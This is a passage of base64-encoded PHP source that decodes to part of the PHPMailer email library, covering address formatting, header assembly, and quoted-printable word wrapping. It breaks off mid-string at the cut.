VlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCdlbicgIT0gJGxhbmdjb2RlKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzdGF0aWM6OmlzUGVybWl0dGVkUGF0aCgkbGFuZ19maWxlKSB8fCAhZmlsZV9leGlzdHMoJGxhbmdfZmlsZSkpIHsKICAgICAgICAgICAgICAgICRmb3VuZGxhbmcgPSBmYWxzZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vIE92ZXJ3cml0ZSBsYW5ndWFnZS1zcGVjaWZpYyBzdHJpbmdzLgogICAgICAgICAgICAgICAgLy8gVGhpcyB3YXkgd2UnbGwgbmV2ZXIgaGF2ZSBtaXNzaW5nIHRyYW5zbGF0aW9uIGtleXMuCiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gaW5jbHVkZSAkbGFuZ19maWxlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5sYW5ndWFnZSA9ICRQSFBNQUlMRVJfTEFORzsKICAgICAgICByZXR1cm4gKGJvb2wpICRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CiAgICAvKioKICAgICAqIEdldCB0aGUgYXJyYXkgb2Ygc3RyaW5ncyBmb3IgdGhlIGN1cnJlbnQgbGFuZ3VhZ2UuCiAgICAgKgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQogICAgLyoqCiAgICAgKiBDcmVhdGUgcmVjaXBpZW50IGhlYWRlcnMuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkdHlwZQogICAgICogQHBhcmFtIGFycmF5ICAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnRzLAogICAgICogICAgICAgICAgICAgICAgICAgICB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogICAgICAgICAgICAgICAgICAgICBhbmQgZWxlbWVudCAxIGNvbnRhaW5pbmcgYSBuYW1lLCBsaWtlOgogICAgICogICAgICAgICAgICAgICAgICAgICBbWydqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInXSwgWyd6b2VAZXhhbXBsZS5jb20nLCAnWm9lIFVzZXInXV0KICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkckFwcGVuZCgkdHlwZSwgJGFkZHIpCiAgICB7CiAgICAgICAgJGFkZHJlc3NlcyA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiBzdGF0aWM6OiRMRTsKICAgIH0KICAgIC8qKgogICAgICogRm9ybWF0IGFuIGFkZHJlc3MgZm9yIHVzZSBpbiBhIG1lc3NhZ2UgaGVhZGVyLgogICAgICoKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBIDItZWxlbWVudCBpbmRleGVkIGFycmF5LCBlbGVtZW50IDAgY29udGFpbmluZyBhbiBhZGRyZXNzLCBlbGVtZW50IDEgY29udGFpbmluZyBhIG5hbWUgbGlrZQogICAgICogICAgICAgICAgICAgICAgICAgIFsnam9lQGV4YW1wbGUuY29tJywgJ0pvZSBVc2VyJ10KICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkckZvcm1hdCgkYWRkcikKICAgIHsKICAgICAgICBpZiAoZW1wdHkoJGFkZHJbMV0pKSB7IC8vIE5vIG5hbWUgcHJvdmlkZWQKICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zZWN1cmVIZWFkZXIoJGFkZHJbMF0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICRhZGRyWzBdCiAgICAgICAgKSAuICc+JzsKICAgIH0KICAgIC8qKgogICAgICogV29yZC13cmFwIG1lc3NhZ2UuCiAgICAgKiBGb3IgdXNlIHdpdGggbWFpbGVycyB0aGF0IGRvIG5vdCBhdXRvbWF0aWNhbGx5IHBlcmZvcm0gd3JhcHBpbmcKICAgICAqIGFuZCBmb3IgcXVvdGVkLXByaW50YWJsZSBlbmNvZGVkIG1lc3NhZ2VzLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBwaGlsaXBwZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnQgICAgJGxlbmd0aCAgVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sICAgJHFwX21vZGUgV2hldGhlciB0byBydW4gaW4gUXVvdGVkLVByaW50YWJsZSBtb2RlCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHdyYXBUZXh0KCRtZXNzYWdlLCAkbGVuZ3RoLCAkcXBfbW9kZSA9IGZhbHNlKQogICAgewogICAgICAgIGlmICgkcXBfbW9kZSkgewogICAgICAgICAgICAkc29mdF9icmVhayA9IHNwcmludGYoJyA9JXMnLCBzdGF0aWM6OiRMRSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzdGF0aWM6OiRMRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gc3RhdGljOjpDSEFSU0VUX1VURjggPT09IHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbihzdGF0aWM6OiRMRSk7CiAgICAgICAgJGNybGZsZW4gPSBzdHJsZW4oc3RhdGljOjokTEUpOwogICAgICAgICRtZXNzYWdlID0gc3RhdGljOjpub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09IHN0YXRpYzo6JExFKSB7CiAgICAgICAgICAgICRtZXNzYWdlID0gc3Vic3RyKCRtZXNzYWdlLCAwLCAtJGxlbGVuKTsKICAgICAgICB9CiAgICAgICAgLy9TcGxpdCBtZXNzYWdlIGludG8gbGluZXMKICAgICAgICAkbGluZXMgPSBleHBsb2RlKHN0YXRpYzo6JExFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJz0nID09IHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLS0kbGVuOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCc9JyA9PSBzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc3RhdGljOjokTEUpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJGJ1ZiAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgPSAnJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKHN0cmxlbigkd29yZCkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbGVuZ3RoIDw9IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkbGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgnPScgPT0gc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0tJGxlbjsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCc9JyA9PSBzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiAtPSAyOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHdvcmQgPSBzdWJzdHIoJHdvcmQsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc3RhdGljOjokTEUpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICRwYXJ0OwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkYnVmX28gPSAkYnVmOwogICAgICAgICAgICAgICAgICAgIGlmICghJGZpcnN0d29yZCkgewogICAgICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICcgJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJGJ1ZiAuPSAkd29yZDsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJycgIT0gJGJ1Zl9vKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzdGF0aWM6OiRMRTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQogICAgLyoqCiAgICAgKiBGaW5kIHRoZSBsYXN0IGNoYXJhY3RlciBib3VuZGFyeSBwcmlvciB0byAkbWF4TGVuZ3RoIGluIGEgdXRmLTgKICAgICAqIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBzdHJpbmcuCiAgICAgKiBPcmlnaW5hbCB3cml0dGVuIGJ5IENvbGluIEJyb3duLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kZWRUZXh0IHV0Zi04IFFQIHRleHQKICAgICAqIEBwYXJhbSBpbnQgICAgJG1heExlbmd0aCAgIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKgogICAgICogQHJldHVybiBpbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoIC09ICRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvczsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPj0gMTkyKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gRmlyc3QgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyCiAgICAgICAgICAgICAgICAgICAgLy8gUmVkdWNlIG1heExlbmd0aCB0byBzcGxpdCBhdCBzdGFydCBvZiBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoIC09ICRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvczsKICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA8IDE5MikgewogICAgICAgICAgICAgICAgICAgIC8vIE1pZGRsZSBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIsIGxvb2sgZnVydGhlciBiYWNrCiAgICAgICAgICAgICAgICAgICAgJGxvb2tCYWNrICs9IDM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBObyBlbmNvZGVkIGNoYXJhY3RlciBmb3VuZAogICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbWF4TGVuZ3RoOwogICAgfQogICAgLyoqCiAgICAgKiBBcHBseSB3b3JkIHdyYXBwaW5nIHRvIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBXcmFwcyB0aGUgbWVzc2FnZSBib2R5IHRvIHRoZSBudW1iZXIgb2YgY2hhcnMgc2V0IGluIHRoZSBXb3JkV3JhcCBwcm9wZXJ0eS4KICAgICAqIFlvdSBzaG91bGQgb25seSBkbyB0aGlzIHRvIHBsYWluLXRleHQgYm9kaWVzIGFzIHdyYXBwaW5nIEhUTUwgdGFncyBtYXkgYnJlYWsgdGhlbS4KICAgICAqIFRoaXMgaXMgY2FsbGVkIGF1dG9tYXRpY2FsbHkgYnkgY3JlYXRlQm9keSgpLCBzbyB5b3UgZG9uJ3QgbmVlZCB0byBjYWxsIGl0IHlvdXJzZWxmLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0V29yZFdyYXAoKQogICAgewogICAgICAgIGlmICgkdGhpcy0+V29yZFdyYXAgPCAxKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBBc3NlbWJsZSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGFzc2VtYmxlZCBoZWFkZXJzCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVIZWFkZXIoKQogICAgewogICAgICAgICRyZXN1bHQgPSAnJzsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEYXRlJywgJycgPT0gJHRoaXMtPk1lc3NhZ2VEYXRlID8gc2VsZjo6cmZjRGF0ZSgpIDogJHRoaXMtPk1lc3NhZ2VEYXRlKTsKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJ21haWwnICE9ICR0aGlzLT5NYWlsZXIpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJ21haWwnICE9ICR0aGlzLT5NYWlsZXIpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ0Zyb20nLCBbW3RyaW0oJHRoaXMtPkZyb20pLCAkdGhpcy0+RnJvbU5hbWVdXSk7CiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQogICAgICAgIC8vIHNlbmRtYWlsIGFuZCBtYWlsKCkgZXh0cmFjdCBCY2MgZnJvbSB0aGUgaGVhZGVyIGJlZm9yZSBzZW5kaW5nCiAgICAgICAgaWYgKCgnc2VuZG1haWwnID09ICR0aGlzLT5NYWlsZXIgb3IgJ3FtYWlsJyA9PSAkdGhpcy0+TWFpbGVyIG9yICdtYWlsJyA9PSAkdGhpcy0+TWFpbGVyCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CiAgICAgICAgaWYgKGNvdW50KCR0aGlzLT5SZXBseVRvKSA+IDApIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnUmVwbHktVG8nLCAkdGhpcy0+UmVwbHlUbyk7CiAgICAgICAgfQogICAgICAgIC8vIG1haWwoKSBzZXRzIHRoZSBzdWJqZWN0IGl0c2VsZgogICAgICAgIGlmICgnbWFpbCcgIT0gJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdTdWJqZWN0JywgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSkpOwogICAgICAgIH0KICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKG51bGwgIT09ICR0aGlzLT5Qcmlvcml0eSkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdYLVByaW9yaXR5JywgJHRoaXMtPlByaW9yaXR5KTsKICAgICAgICB9CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5YTWFpbGVyKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAnWC1NYWlsZXInLAogICAgICAgICAgICAgICAgJ1BIUE1haWxlciAnIC4gc2VsZjo6VkVSU0lPTgogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCcnICE9ICR0aGlzLT5Db25maXJtUmVhZGluZ1RvKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0Rpc3Bvc2l0aW9uLU5vdGlmaWNhdGlvbi1UbycsICc8JyAuICR0aGlzLT5Db25maXJtUmVhZGluZ1RvIC4gJz4nKTsKICAgICAgICB9CiAgICAgICAgLy8gQWRkIGN1c3RvbSBoZWFkZXJzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPkN1c3RvbUhlYWRlciBhcyAkaGVhZGVyKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICB0cmltKCRoZWFkZXJbMF0pLAogICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcih0cmltKCRoZWFkZXJbMV0pKQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01JTUUtVmVyc2lvbicsICcxLjAnKTsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICAvKioKICAgICAqIEdldCB0aGUgbWVzc2FnZSBNSU1FIHR5cGUgaGVhZGVycy4KICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TWFpbE1JTUUoKQogICAgewogICAgICAgICRyZXN1bHQgPSAnJzsKICAgICAgICAkaXNtdWx0aXBhcnQgPSB0cnVlOwogICAgICAgIHN3aXRjaCAoJHRoaXMtPm1lc3NhZ2VfdHlwZSkgewogICAgICAgICAgICBjYXNlICdpbmxpbmUnOgogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29